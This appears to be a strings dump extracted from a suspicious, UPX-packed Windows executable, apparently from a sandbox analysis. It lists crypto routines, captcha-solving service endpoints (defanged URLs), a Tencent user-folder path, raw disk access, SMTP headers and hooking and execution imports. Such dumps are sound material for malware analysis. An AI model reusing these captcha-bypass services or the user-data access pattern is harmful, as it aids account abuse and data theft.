if (Object.prototype.toString.apply(value) === '[object Array]') {

length = value.length;

v = partial.length === 0

? '[\n' gap partial.join(',\n' gap) '\n' mind ']'

: '[' partial.join(',') ']';

length = rep.length;

partial.push(quote(k) (gap ? ': ' : ':') v);

if (Object.prototype.hasOwnProperty.call(value, k)) {

v = partial.length === 0

? '{\n' gap partial.join(',\n' gap) '\n' mind '}'

: '{' partial.join(',') '}';

if (typeof JSON.stringify !== 'function') {

JSON.stringify = function (value, replacer, space) {

typeof replacer.length !== 'number')) {

throw new Error('JSON.stringify');

if (typeof JSON.parse !== 'function') {

JSON.parse = function (text, reviver) {

function walk(holder, key) {

var k, v, value = holder[key];

if (Object.prototype.hasOwnProperty.call(value, k)) {

return reviver.call(holder, key, value);

cx.lastIndex = 0;

if (cx.test(text)) {

text = text.replace(cx, function (a) {

('0000' a.charCodeAt(0).toString(16)).slice(-4);

.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')

.replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g, ']')

.replace(/(?:^|:|,)(?:\s*\[) /g, ''))) {

throw new SyntaxError('JSON.parse');

JSON.stringify(Lobj['

Lobj.push("

Lobj.push(

Lobj.push('

Lobj.length

JSON.stringify(Lobj[

Lobj.splice(

JSON.stringify(Lobj

GetAllKey

function encrypt(str,pass){

data = m_xxtea.encrypt(str, pass);

function decrypt(str,pass){

data = m_xxtea.decrypt(str, pass);

if (str.match(/^[\x00-\x7f]*$/) != null) {

return str.toString();

len = str.length;

c = str.charCodeAt(i);

out[j] = str.charAt(i);

out[j] = String.fromCharCode(0xc0 | (c >>> 6),

out[j] = String.fromCharCode(0xe0 | (c >>> 12),

c2 = str.charCodeAt(i);

out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),

return out.join('');

if ((str.match(/^[\x00-\x7f]*$/) != null) ||

(str.match(/^[\x00-\xff]*$/) == null)) {

c = str.charCodeAt(i );

out[j ] = str.charAt(i - 1);

c2 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((c & 0x1f)

c3 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((c & 0x0f)

c4 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,

var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');

len = str.length;

c = str.charCodeAt(i )

str.charCodeAt(i )

str.charCodeAt(i );

c = str.charCodeAt(i );

c = str.charCodeAt(i )

return out.join('');

-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,

if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {

if (str.charAt(len - 2) == '=') {

else if (str.charAt(len - 1) == '=') {

c1 = base64DecodeChars[str.charCodeAt(i )];

c2 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode((c1 > 4));

c3 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));

c4 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode(((c3 & 0x03)

var length = data.length;

data[i] = String.fromCharCode(

return data.join('').substring(0, n);

return data.join('');

var length = string.length;

result[i >> 2] = string.charCodeAt(i) |

string.charCodeAt(i 1)

string.charCodeAt(i 2)

string.charCodeAt(i 3)

result[result.length] = length;

this.encrypt = function(string, key) {

var k = stringToLongArray(key, false);

if (k.length

k.length = 4;

var n = v.length - 1;

var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;

this.decrypt = function(string, key) {

var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;

* See hXXp://pajhome.org.uk/crypt/md5 for details.

function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));}

function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));}

function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));}

function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));}

function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));}

function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));}

for(var i = 0; i

* Calculate the HMAC-SHA1 of a key and some data

function core_hmac_sha1(key, data)

var bkey = str2binb(key);

if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);

ipad[i] = bkey[i] ^ 0x36363636;

opad[i] = bkey[i] ^ 0x5C5C5C5C;

var hash = core_sha1(ipad.concat(str2binb(data)), 512 data.length * chrsz);

return core_sha1(opad.concat(hash), 512 160);

* Add integers, wrapping at 2^32. This uses 16-bit operations internally

for(var i = 0; i

bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask)

for(var i = 0; i

str = String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i2)) & mask);

for(var i = 0; i

str = hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 4)) & 0xF)

hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF);

for(var i = 0; i

if(i * 8 j * 6 > binarray.length * 32) str = b64pad;

else str = tab.charAt((triplet >> 6*(3-j)) & 0x3F);

__MSVCRT_HEAP_SELECT

qqcrypt.dll

/-UM2.SD60O:

6.LX:0GN?2CEE4>=L785T:1/Z=,*a?'%d@%#fB#!hB!

dA@(

(2015.06.23)

(2015.06.09)

(2015.05.28)

(2015.05.26)

(2015.05.25)

tn|px.lD

.comment {color:green}

*.txt

|*.txt

%d&&'

123456789

00003333

1.2.18

%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

MSWHEEL_ROLLMSG

Broken pipe

Inappropriate I/O control operation

Operation not permitted

iphlpapi.dll

MPR.dll

VERSION.dll

.PAVCNotSupportedException@@

(*.prn)|*.prn|

(*.*)|*.*||

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

icmp.dll

windows

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

out.prn

%d.%d

%d / %d

%d/%d

Bogus message code %d

libpng error: %s

libpng warning: %s

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

Y%d

X%d

Height%d

Width%d

RECT(%d, %d)-(%d, %d)

Styles0xX

Control ID%d

Handle0xX

burlywood

\winhlp32.exe

(*.avi)|*.avi

WPFT532.CNV

WPFT632.CNV

EXCEL32.CNV

write32.wpc

Windows Write

mswrd632.wpc

Word for Windows 6.0

wword5.cnv

Word for Windows 5.0

mswrd832.cnv

mswrd632.cnv

Word 6.0/95 for Windows & Macintosh

html32.cnv

:%d) |

%I64d%s

:0{}%s

:%d)%s

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

;3 #>6.&

'2, / 0&7!4-)1#

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

c:\%original file name%.exe

GetWindowsDirectoryA

WinExec

RegOpenKeyExA

RegCreateKeyExA

GetViewportExtEx

GetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

UnhookWindowsHookEx

SetWindowsHookExA

GetKeyState

CreateDialogIndirectParamA

9.5.25.212

1, 0, 6, 6

- Skin.dll

2014, 2, 7, 1

FastVerCode.DLL

CCaptchaRecognizer::recognizeByCodeTypeAndUrl

hXXp://s1.uudati.com:

hXXp://s1.taskok.com:

hXXp://s1.uudama.com:

hXXp://s1.uuwise.com:

/Api/config.aspx

2.0.0.5

WiseClientAPI-2.0.0.5

CCaptchaRecognizer::__UpdateTKEY

CCaptchaRecognizer::_IsNeedLogin

/Api/DecodeImg.aspx

xxxxxxxxxxx

hXXp://p1.uuwise.net:

hXXp://p1.uudama.net:

hXXp://p1.taskok.com:

hXXp://p1.uuwise.com:

hXXp://p1.uudama.com:

CCaptchaRecognizer::easyRecognizeUrl

%d%d%d%d%d

CCaptchaRecognizer::_CalcRandomPort

/Api/VerifyAPIFile.aspx

/Api/UserLogin.aspx

CCaptchaRecognizer::login

/Api/UserReg.aspx

/Api/PayCard.aspx

/Api/ReportError.aspx

CCaptchaRecognizer::reportError

/Api/UserPoint.aspx

|2.0.0.5|

/Api/DecodeResult.aspx

ID/KEY/

ByTypeBytes.JPG

%d-%d-%d

CHttpRequestHelper::_ReadResponse

User-Agent:WiseClient-2.0.0.5;

WiseClient-2.0.0.5

CHttpRequestHelper::_InternalRequest

CHttpRequestHelper::RequestGetImage

CHttpRequestHelper::RequestPost

ServerPort

UUExtConfig.ini

-:-:-.%d

tCRYPTDLL.DLL

3.cn.pool.ntp.org

2.cn.pool.ntp.org

1.cn.pool.ntp.org

0.cn.pool.ntp.org

cn.pool.ntp.org

\\.\PHYSICALDRIVE0

Microsoft Windows Millennium Edition

Microsoft Windows 98

Microsoft Windows 95

%s (Build %d)

Service Pack 6a (Build %d)

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009

Web Edition

Service Pack %d (Build %d)

Microsoft Windows NT

Microsoft Windows 2000

Microsoft Windows XP

Microsoft Windows Server 2003,

Microsoft Windows XP Professional x64 Edition

Microsoft Windows Server 2003 "R2"

Windows Server 2008

Windows Vista

Windows Server 2008 R2

Windows 7

ox-x-x-x-x-x

\Tencent\Users\*.*

nKERNEL32.DLL

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

!"#$%&'()* ,-.

uuwise.com

2, 0, 0, 5

1.0.0.1

!"#$%&'()* ,-

25, 0, 0, 1

Windows

6.0.2600.0 (xpclient.010817-1148)

6.0.2600.0

%original file name%.exe_812_rwx_010B8000_0000C000:

x.yvr

x.yvkd

x.yvw

x.yvq5v

%original file name%.exe_812_rwx_0114D000_000CA000:

version.dll

user32.dll

shell32.dll

1e.ro4A

oleaut32.dll

H0.gW

comctl32.dll

advapi32.dll

gdi32.dll

d.jF/"

r#'%C

6.Xdp

g|$^.Cn

>.bM8

>Z.Ye

w4R`$p%s*

f.zo~L^

wsock32.dll

ntdll.dll

Ã‹.L@

l.sQ{

c-t{.FF

b#I".wM

e.ENZ

xip.tu

@>.vO

%FX2Fsi

qKT.jLka

3.LD7

G,.gd

<.cff>

&8.XMj

$~O.Ba

)].Wd

/_{M%U

Q%s6|

lVfeVg

!%uO

mh.ud

m%Csn%

kq84.QaI

)f%fg

.SuDYw

K)`p.frC

*%s!%

aR.dDb&

.xk 4g

ShellExecuteA

RegCloseKey

)%S{.

'U}.Ue

l%S(8x$!(

1L%UJ

.vtbw

.iA5N

yyhKa%S

d.Zd=#R

x0r%F{

.IPi)

Vj.jH

>M%X9

/8[

bc.lTk

ks_GetMsg

kssPlugin.dll

tole32.dll

kernel32.dll

%original file name%.exe_812_rwx_10000000_0003F000:

`.rsrc

L$(h%f

SSh0j

msctls_hotkey32

TVCLHotKey

THotKey

\skinh.she

}uo,x6l5k%x-l h

9p%s m)t4`#b

e"m?c&y1`Ã

SetViewportOrgEx

SetViewportExtEx

SetWindowsHookExA

UnhookWindowsHookEx

EnumThreadWindows

EnumChildWindows

`c%US.4/

!#$

.text

`.rdata

@.data

.rsrc

@.UPX0

`.UPX1

`.reloc

hJK.ZH

O.qt0

KERNEL32.DLL

COMCTL32.dll

GDI32.dll

MSIMG32.dll

MSVCRT.dll

MSVFW32.dll

USER32.dll

SkinH_EL.dll

1, 0, 6, 6

- Skin.dll